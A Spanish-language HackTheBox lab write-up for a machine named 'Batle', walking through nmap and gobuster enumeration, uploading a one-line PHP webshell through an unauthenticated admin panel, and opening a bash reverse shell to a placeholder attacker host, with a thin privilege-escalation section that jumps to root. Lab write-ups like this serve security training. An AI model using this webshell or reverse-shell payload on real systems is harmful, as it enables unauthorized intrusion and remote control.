HackTheBox Medium Linux Web nginx

Batle

Aplicación web en nginx con servicios en puertos 80 y 8080. Enumeración de directorios y explotación de funcionalidades expuestas.

Ago 2023 ~60 min cat4clysm
Herramientas utilizadas
nmap gobuster burp suite netcat

Reconocimiento

root@kali:~$
nmap -p 22,80,8080 -sC -sV -Pn 10.10.110.102
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
8080/tcp open  http    nginx 1.18.0 (Ubuntu)

Dos servicios web en puertos diferentes. Enumeramos directorios en ambos:

root@kali:~$
gobuster dir -u http://10.10.110.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.10.110.102:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

El puerto 8080 expone un panel de administración sin autenticación.

Explotación

El panel admin en el puerto 8080 permite subir archivos. Subimos una webshell PHP:

<?php system($_GET['cmd']); ?>
root@kali:~$
curl "http://10.10.110.102:8080/uploads/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data)

Escalamos a shell interactiva con netcat:

curl "http://10.10.110.102:8080/uploads/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/LHOST/4444+0>%261'"

Escalada de privilegios

Encontramos credenciales en archivos de configuración de la aplicación y las reutilizamos para escalar a un usuario con más privilegios. Verificamos binarios SUID:

find / -perm -4000 -type f 2>/dev/null
whoami
root

Lecciones aprendidas